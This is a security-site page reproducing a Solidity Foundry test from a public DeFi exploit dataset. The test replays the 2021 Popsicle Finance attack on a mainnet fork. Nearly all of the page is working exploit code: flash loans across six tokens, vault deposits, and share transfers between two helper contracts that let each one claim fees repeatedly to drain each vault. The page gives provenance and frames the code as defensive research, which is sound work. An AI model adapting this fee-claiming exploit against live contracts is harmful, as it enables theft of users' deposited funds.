Skip to content
THREATWIRE

Public reproduction file

src/test/2021-08/Popsicle_exp.sol

Public reproduction file for dataset entry Popsicle.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-08/Popsicle_exp.sol262 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "forge-std/interfaces/IERC20.sol";
6
7// @KeyInfo - Total Lost : 20M USD
8// Attacker : https://etherscan.io/address/0xf9E3D08196F76f5078882d98941b71C0884BEa52
9// Attack Contract : https://etherscan.io/address/0xdFb6faB7f4bc9512d5620e679E90D1C91C4EAdE6
10// Vulnerable Contract : https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48
11// Attack Tx : https://etherscan.io/tx/0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48#code
16// @Analysis
17// Post-mortem : https://blocksecteam.medium.com/the-analysis-of-the-popsicle-finance-security-incident-9d9d5a3045c1
18// Twitter Guy : https://twitter.com/BlockSecTeam/status/1422786223156776968
19// Hacking God : https://twitter.com/BlockSecTeam/status/1422786223156776968
21// Simple SafeERC20 implementation
22library SafeERC20 {
23 function safeTransfer(IERC20 token, address to, uint256 value) internal {
24 (bool success, bytes memory data) = address(token).call(
25 abi.encodeWithSelector(token.transfer.selector, to, value)
26 );
27 require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: transfer failed");
28 }
30 function forceApprove(IERC20 token, address spender, uint256 value) internal {
31 (bool success, bytes memory data) = address(token).call(
32 abi.encodeWithSelector(token.approve.selector, spender, value)
33 );
34 require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: approve failed");
35 }
38interface IPopsicle {
39 function balanceOf(address account) external view returns (uint256);
40 function collectFees(uint256 amount0, uint256 amount1) external;
41 function deposit(
42 uint256 amount0Desired,
43 uint256 amount1Desired
44 ) external payable returns (uint256 shares, uint256 amount0, uint256 amount1);
45 function symbol() external view returns (string memory);
46 function token0() external view returns (address);
47 function token1() external view returns (address);
48 function userInfo(address)
49 external
50 view
51 returns (uint256 token0Rewards, uint256 token1Rewards, uint256 token0PerSharePaid, uint256 token1PerSharePaid);
52 function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1);
55interface IAaveFlashloan {
56 function flashLoan(
57 address receiverAddress,
58 address[] calldata assets,
59 uint256[] calldata amounts,
60 uint256[] calldata modes,
61 address onBehalfOf,
62 bytes calldata params,
63 uint16 referralCode
64 ) external;
68// Simple contract which transfers tokens to an address
69contract TokenVault {
70 using SafeERC20 for IERC20;
72 function transfer(address _asset, address _to) external {
73 uint256 bal = IERC20(_asset).balanceOf(address(this));
74 if (bal > 0) IERC20(_asset).safeTransfer(_to, bal);
75 }
77 function executeCall(address target, bytes calldata dataTocall) external returns (bool succ) {
78 (succ,) = target.call(dataTocall);
79 }
82contract PopsicleExp is BaseTestWithBalanceLog {
83 using SafeERC20 for IERC20;
85 IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
87 TokenVault receiver1;
88 TokenVault receiver2;
90 //Asset addrs
91 address _usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
92 address _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
93 address _wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
94 address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
95 address _dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
96 address _uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
98 //Flashloan amts
99 uint256 usdtFlash = 30_000_000 * 1e6;
100 uint256 ethFlash = 13_000 ether;
101 uint256 wbtcFlash = 1400 * 1e8;
102 uint256 usdcFlash = 30_000_000 * 1e6;
103 uint256 daiFlash = 3_000_000 ether;
104 uint256 uniFlash = 200_000 ether;
106 address[] assetsArr;
107 address[] vaultsArr;
109 uint256[] amountsArr;
110 uint256[] modesArr;
112 IERC20 usdt = IERC20(_usdt);
113 IERC20 weth = IERC20(_weth);
114 IERC20 wbtc = IERC20(_wbtc);
115 IERC20 usdc = IERC20(_usdc);
116 IERC20 dai = IERC20(_dai);
117 IERC20 uni = IERC20(_uni);
119 function setUp() public {
120 vm.createSelectFork("mainnet", 12_955_000);
121 fundingToken = _usdt;
123 receiver1 = new TokenVault();
124 receiver2 = new TokenVault();
125 modesArr = [0, 0, 0, 0, 0, 0];
126 assetsArr = [_usdt, _weth, _wbtc, _usdc, _dai, _uni];
127 amountsArr = [usdtFlash, ethFlash, wbtcFlash, usdcFlash, daiFlash, uniFlash];
128 vaultsArr = [
129 0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48,
130 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546,
131 0x0A8143EF65b0CE4C2fAD195165ef13772ff6Cca0,
132 0x98d149e227C75D38F623A9aa9F030fB222B3FAa3,
133 0xB53Dc33Bb39efE6E9dB36d7eF290d6679fAcbEC7,
134 0x6f3F35a268B3af45331471EABF3F9881b601F5aA,
135 0xDD90112eAF865E4E0030000803ebBb4d84F14617,
136 0xE22EACaC57A1ADFa38dCA1100EF17654E91EFd35
137 ];
138 }
140 function approveToTargetAll(address _target) internal {
141 for (uint256 i = 0; i < assetsArr.length; i++) {
142 approveToTarget(assetsArr[i], _target);
143 }
144 }
146 function approveToTarget(address asset, address _target) internal {
147 IERC20(asset).forceApprove(_target, type(uint256).max);
148 }
150 function _logBalances(string memory message) internal {
151 emit log(message);
152 emit log("--- Start of balances --- ");
153 emit log_named_uint("USDT Balance", _logTokenBal(_usdt));
154 emit log_named_uint("WETH Balance", _logTokenBal(_weth));
155 emit log_named_uint("WBTC Balance", _logTokenBal(_wbtc));
156 emit log_named_uint("USDC Balance", _logTokenBal(_usdc));
157 emit log_named_uint("DAI Balance", _logTokenBal(_dai));
158 emit log_named_uint("UNI Balance", _logTokenBal(_uni));
159 emit log("--- End of balances --- ");
160 }
162 function _logTokenBal(address asset) internal view returns (uint256) {
163 return IERC20(asset).balanceOf(address(this));
164 }
166 function testExploit() public balanceLog {
167 _logBalances("Before attack");
168 aaveV2.flashLoan(address(this), assetsArr, amountsArr, modesArr, address(this), new bytes(0), 0);
169 _logBalances("After attack");
170 }
172 function executeOperation(
173 address[] calldata assets,
174 uint256[] calldata amounts,
175 uint256[] calldata premiums,
176 address /* initiator */,
177 bytes calldata /* params */
178 ) external payable returns (bool) {
179 attackLogic();
180 //Check we are in profit on each asset
181 for (uint256 i = 0; i < assets.length; i++) {
182 uint256 bal = _logTokenBal(assets[i]);
183 emit log_named_decimal_uint("Profit ", (bal - (amounts[i] + premiums[i])), IERC20(assets[i]).decimals());
184 emit log_string(string.concat(" for asset ", IERC20(assets[i]).name()));
185 }
186 approveToTargetAll(address(aaveV2));
187 return true;
188 }
190 function attackLogic() internal {
191 for (uint256 i = 0; i < vaultsArr.length; i++) {
192 //Approve funds for vault
193 IPopsicle vault = IPopsicle(vaultsArr[i]);
194 IERC20(vault.token0()).forceApprove(vaultsArr[i], type(uint256).max);
195 IERC20(vault.token1()).forceApprove(vaultsArr[i], type(uint256).max);
196 vault.deposit(
197 IERC20(vault.token0()).balanceOf(address(this)), IERC20(vault.token1()).balanceOf(address(this))
198 );
199 drainVault(vaultsArr[i]);
200 }
201 claimFundsFromReceivers();
202 }
204 function claimFundsFromReceivers() internal {
205 for (uint256 i = 0; i < assetsArr.length; i++) {
206 receiver1.transfer(assetsArr[i], address(this));
207 receiver2.transfer(assetsArr[i], address(this));
208 }
209 }
211 function drainVault(address _vault) internal {
212 //Transfer the vault token around to 2 other receivers then back
213 transferAround(_vault);
214 //Then redeem our position and claim fees
215 withdrawandClaimFees(_vault);
216 }
218 function withdrawandClaimFees(address _vault) internal {
219 claimFees(_vault);
220 }
222 function claimFees(address _vault) internal {
223 (uint256 token0fees, uint256 token1fees,,) = IPopsicle(_vault).userInfo(address(this));
224 //Collect fees
225 IPopsicle(_vault).withdraw(IPopsicle(_vault).balanceOf(address(this)));
226 (uint256 token0feesr1, uint256 token1feesr1,,) = IPopsicle(_vault).userInfo(address(receiver1));
228 receiver1.executeCall(
229 _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr1, token1feesr1)
230 );
231 (uint256 token0feesr2, uint256 token1feesr2) = (
232 IERC20(address(IPopsicle(_vault).token0())).balanceOf(_vault),
233 IERC20(address(IPopsicle(_vault).token1())).balanceOf(_vault)
234 );
236 receiver2.executeCall(
237 _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr2, token1feesr2)
238 );
239 emit log_named_uint("Self - Token0 Fees:", token0fees);
240 emit log_named_uint("Self - Token1 Fees:", token1fees);
241 emit log_named_uint("Receiver1 - Token0 Fees:", token0feesr1);
242 emit log_named_uint("Receiver1 - Token1 Fees:", token1feesr1);
243 emit log_named_uint("Receiver2 - Token0 Fees:", token0feesr2);
244 emit log_named_uint("Receiver2 - Token1 Fees:", token1feesr2);
245 }
247 function transferAround(address _vault) internal {
248 IERC20 asset = IERC20(_vault);
250 uint256 bal = asset.balanceOf(address(this));
251 IPopsicle(_vault).collectFees(0, 0);
253 asset.transfer(address(receiver1), bal);
254 receiver1.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0));
255 receiver1.transfer(_vault, address(receiver2));
257 receiver2.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0));
258 receiver2.transfer(_vault, address(this));
260 IPopsicle(_vault).collectFees(0, 0);
261 }

Analysis

Dataset entry

Public Foundry test for “Popsicle” (2021-08-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

4 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf9e3d08196f76f5078882d98941b71c0884bea52

  • Attack Contract

    0xdfb6fab7f4bc9512d5620e679e90d1c91c4eade6

  • Vulnerable Contract

    0xc4ff55a4329f84f9bf0f5619998ab570481ebb48

  • Attack Tx

    0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc

File record

Name
Popsicle
Path
src/test/2021-08/Popsicle_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6ace14e1b40f3e8fa3fb64bdf5ce13f003c393f6
Language
Solidity
Size
263 lines
Date
2021-08-04
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-08/Popsicle_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6ace14e1b40f3e8fa3fb64bdf5ce13f003c393f6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.